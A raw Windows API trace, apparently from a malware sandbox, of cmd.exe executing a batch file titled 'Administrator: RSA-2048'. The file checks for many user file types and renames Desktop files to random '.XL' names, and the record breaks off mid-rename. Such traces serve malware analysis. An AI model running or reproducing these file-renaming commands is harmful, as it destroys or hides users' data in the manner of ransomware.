_get_osfhandle (_FileHandle=3) returned 0x74 [0039.493] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1057 [0039.493] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.493] GetFileType (hFile=0x74) returned 0x1 [0039.493] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1057 [0039.493] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.493] SetFilePointer (in: hFile=0x74, lDistanceToMove=4211, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1073 [0039.493] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.ink goto l2\r\n") returned 28 [0039.493] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.493] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1073 [0039.493] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.493] GetFileType (hFile=0x74) returned 0x1 [0039.493] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1073 [0039.493] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.493] SetFilePointer (in: hFile=0x74, lDistanceToMove=4239, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x108f [0039.493] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.txt goto l2\r\n") returned 28 [0039.494] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.494] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x108f [0039.494] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.494] GetFileType (hFile=0x74) returned 0x1 [0039.494] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x108f [0039.494] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.494] SetFilePointer (in: hFile=0x74, lDistanceToMove=4267, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10ab [0039.494] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.pdf goto l2\r\n") returned 28 [0039.494] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.494] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10ab [0039.494] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.494] GetFileType (hFile=0x74) returned 0x1 [0039.494] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10ab [0039.494] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.494] SetFilePointer (in: hFile=0x74, lDistanceToMove=4295, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10c7 [0039.494] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.vbs goto l2\r\n") returned 28 [0039.494] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.494] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10c7 [0039.495] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.495] GetFileType (hFile=0x74) returned 0x1 [0039.495] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10c7 [0039.495] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.495] SetFilePointer (in: hFile=0x74, lDistanceToMove=4324, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10e4 [0039.495] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.docx goto l2\r\n\n") returned 29 [0039.495] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.495] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10e4 [0039.495] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.495] GetFileType (hFile=0x74) returned 0x1 [0039.495] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10e4 [0039.495] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.495] SetFilePointer (in: hFile=0x74, lDistanceToMove=4352, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1100 [0039.495] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.doc goto l2\r\n\n") returned 28 [0039.495] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.495] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1100 [0039.495] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.495] GetFileType (hFile=0x74) returned 0x1 [0039.495] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1100 [0039.496] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.496] SetFilePointer (in: hFile=0x74, lDistanceToMove=4380, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x111c [0039.496] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp4 goto l2\r\n") returned 28 [0039.496] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.496] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x111c [0039.496] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.496] GetFileType (hFile=0x74) returned 0x1 [0039.496] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x111c [0039.496] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.496] SetFilePointer (in: hFile=0x74, lDistanceToMove=4408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1138 [0039.496] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp3 goto l2\r\n") returned 28 [0039.496] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.496] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1138 [0039.496] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.496] GetFileType (hFile=0x74) returned 0x1 [0039.496] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1138 [0039.496] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.496] SetFilePointer (in: hFile=0x74, lDistanceToMove=4436, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1154 [0039.497] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.wav goto l2\r\n") returned 28 [0039.497] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.497] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1154 [0039.497] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.497] GetFileType (hFile=0x74) returned 0x1 [0039.497] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1154 [0039.497] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.497] SetFilePointer (in: hFile=0x74, lDistanceToMove=4464, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1170 [0039.497] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.jpg goto l2\r\n") returned 28 [0039.497] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.497] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1170 [0039.497] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.497] GetFileType (hFile=0x74) returned 0x1 [0039.497] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1170 [0039.497] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.497] SetFilePointer (in: hFile=0x74, lDistanceToMove=4492, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x118c [0039.497] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.png goto l2\r\n") returned 28 [0039.497] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.498] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x118c [0039.498] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.498] GetFileType (hFile=0x74) returned 0x1 [0039.498] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x118c [0039.498] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.498] SetFilePointer (in: hFile=0x74, lDistanceToMove=4520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11a8 [0039.498] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.htm goto l2\r\n") returned 28 [0039.498] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.498] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11a8 [0039.498] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.498] GetFileType (hFile=0x74) returned 0x1 [0039.498] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11a8 [0039.498] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.498] SetFilePointer (in: hFile=0x74, lDistanceToMove=4549, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11c5 [0039.498] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.html goto l2\r\n") returned 29 [0039.498] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.498] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11c5 [0039.498] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.499] GetFileType (hFile=0x74) returned 0x1 [0039.499] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11c5 [0039.499] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.499] SetFilePointer (in: hFile=0x74, lDistanceToMove=4555, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11cb [0039.499] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":gif\r\n EXIST *.html goto l2\r\n") returned 6 [0039.499] _close (_FileHandle=3) returned 0 [0039.499] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.499] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.500] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.500] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.500] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.500] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.500] SetConsoleInputExeNameW () returned 0x1 [0039.500] GetConsoleOutputCP () returned 0x1b5 [0039.501] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.501] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.501] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.501] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.501] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.501] SetFilePointer (in: hFile=0x74, lDistanceToMove=4555, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11cb [0039.501] GetProcessHeap () returned 0x4e0000 [0039.501] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0039.501] GetProcessHeap () returned 0x4e0000 [0039.501] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5940 | out: hHeap=0x4e0000) returned 1 [0039.501] GetProcessHeap () returned 0x4e0000 [0039.501] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.501] GetProcessHeap () returned 0x4e0000 [0039.501] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.501] GetProcessHeap () returned 0x4e0000 [0039.501] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.501] GetProcessHeap () returned 0x4e0000 [0039.501] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.501] GetProcessHeap () returned 0x4e0000 [0039.501] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.501] GetProcessHeap () returned 0x4e0000 [0039.502] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.502] GetProcessHeap () returned 0x4e0000 [0039.502] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.502] GetProcessHeap () returned 0x4e0000 [0039.502] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.502] GetProcessHeap () returned 0x4e0000 [0039.502] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.502] GetProcessHeap () returned 0x4e0000 [0039.502] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.502] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.502] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11cb [0039.502] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1462, lpOverlapped=0x0) returned 1 [0039.502] SetFilePointer (in: hFile=0x74, lDistanceToMove=4581, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11e5 [0039.502] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="RENAME *.gif %RANDOM%.XL\r\n\n") returned 26 [0039.502] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.502] GetFileType (hFile=0x74) returned 0x1 [0039.502] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.502] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11e5 [0039.502] GetProcessHeap () returned 0x4e0000 [0039.502] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.503] GetProcessHeap () returned 0x4e0000 [0039.503] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x4008) returned 0x5078b8 [0039.503] GetProcessHeap () returned 0x4e0000 [0039.503] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f5880 [0039.503] GetEnvironmentVariableW (in: lpName="RANDOM", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0039.503] _wcsicmp (_String1="RANDOM", _String2="CD") returned 15 [0039.503] _wcsicmp (_String1="RANDOM", _String2="ERRORLEVEL") returned 13 [0039.503] _wcsicmp (_String1="RANDOM", _String2="CMDEXTVERSION") returned 15 [0039.503] _wcsicmp (_String1="RANDOM", _String2="CMDCMDLINE") returned 15 [0039.503] _wcsicmp (_String1="RANDOM", _String2="DATE") returned 14 [0039.503] _wcsicmp (_String1="RANDOM", _String2="TIME") returned -2 [0039.503] _wcsicmp (_String1="RANDOM", _String2="RANDOM") returned 0 [0039.503] rand () returned 4542 [0039.503] _vsnwprintf (in: _Buffer=0x4a610640, _BufferCount=0x1fff, _Format="%d", _ArgList=0x41f464 | out: _Buffer="4542") returned 4 [0039.503] GetProcessHeap () returned 0x4e0000 [0039.503] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.503] GetProcessHeap () returned 0x4e0000 [0039.503] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5078b8 | out: hHeap=0x4e0000) returned 1 [0039.503] GetProcessHeap () returned 0x4e0000 [0039.503] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.503] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.503] GetProcessHeap () returned 0x4e0000 [0039.503] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f5880 [0039.503] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x26) returned 0x4f6080 [0039.504] _tell (_FileHandle=3) returned 4581 [0039.504] _close (_FileHandle=3) returned 0 [0039.504] _wcsicmp (_String1="RENAME", _String2="DIR") returned 14 [0039.504] _wcsicmp (_String1="RENAME", _String2="ERASE") returned 13 [0039.504] _wcsicmp (_String1="RENAME", _String2="DEL") returned 14 [0039.504] _wcsicmp (_String1="RENAME", _String2="TYPE") returned -2 [0039.504] _wcsicmp (_String1="RENAME", _String2="COPY") returned 15 [0039.504] _wcsicmp (_String1="RENAME", _String2="CD") returned 15 [0039.504] _wcsicmp (_String1="RENAME", _String2="CHDIR") returned 15 [0039.504] _wcsicmp (_String1="RENAME", _String2="RENAME") returned 0 [0039.504] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0039.504] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x44) returned 0x4f4a98 [0039.505] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4a98, Size=0x26) returned 0x4f4a98 [0039.505] GetProcessHeap () returned 0x4e0000 [0039.505] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x26 [0039.505] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x34) returned 0x4f4ac8 [0039.505] GetProcessHeap () returned 0x4e0000 [0039.505] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x44) returned 0x4f4b08 [0039.505] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4b08, Size=0x26) returned 0x4f4b08 [0039.505] GetProcessHeap () returned 0x4e0000 [0039.505] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b08) returned 0x26 [0039.505] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x2c) returned 0x4f4b38 [0039.505] GetProcessHeap () returned 0x4e0000 [0039.505] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x258) returned 0x4f6868 [0039.505] _wcsicmp (_String1="*.gif", _String2=".") returned -4 [0039.505] _wcsicmp (_String1="*.gif", _String2="..") returned -4 [0039.505] GetFileAttributesW (lpFileName="*.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\*.gif")) returned 0xffffffff [0039.505] GetLastError () returned 0x7b [0039.505] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x210) returned 0x4f6ac8 [0039.505] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4f6ad0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0039.505] GetFullPathNameW (in: lpFileName="*.gif", nBufferLength=0x104, lpBuffer=0x41e868, lpFilePart=0x41e850 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.gif", lpFilePart=0x41e850*="*.gif") returned 0x2b [0039.506] SetErrorMode (uMode=0x0) returned 0x1 [0039.506] GetProcessHeap () returned 0x4e0000 [0039.506] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x258) returned 0x4f6ce0 [0039.506] _wcsicmp (_String1="*.gif", _String2=".") returned -4 [0039.506] _wcsicmp (_String1="*.gif", _String2="..") returned -4 [0039.506] GetFileAttributesW (lpFileName="*.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\*.gif")) returned 0xffffffff [0039.506] GetLastError () returned 0x7b [0039.506] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.gif", fInfoLevelId=0x1, lpFindFileData=0x4f6870, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4f6870) returned 0x4f4b70 [0039.506] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XVy5iiiE8Qs49BGw.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xvy5iiie8qs49bgw.gif"), 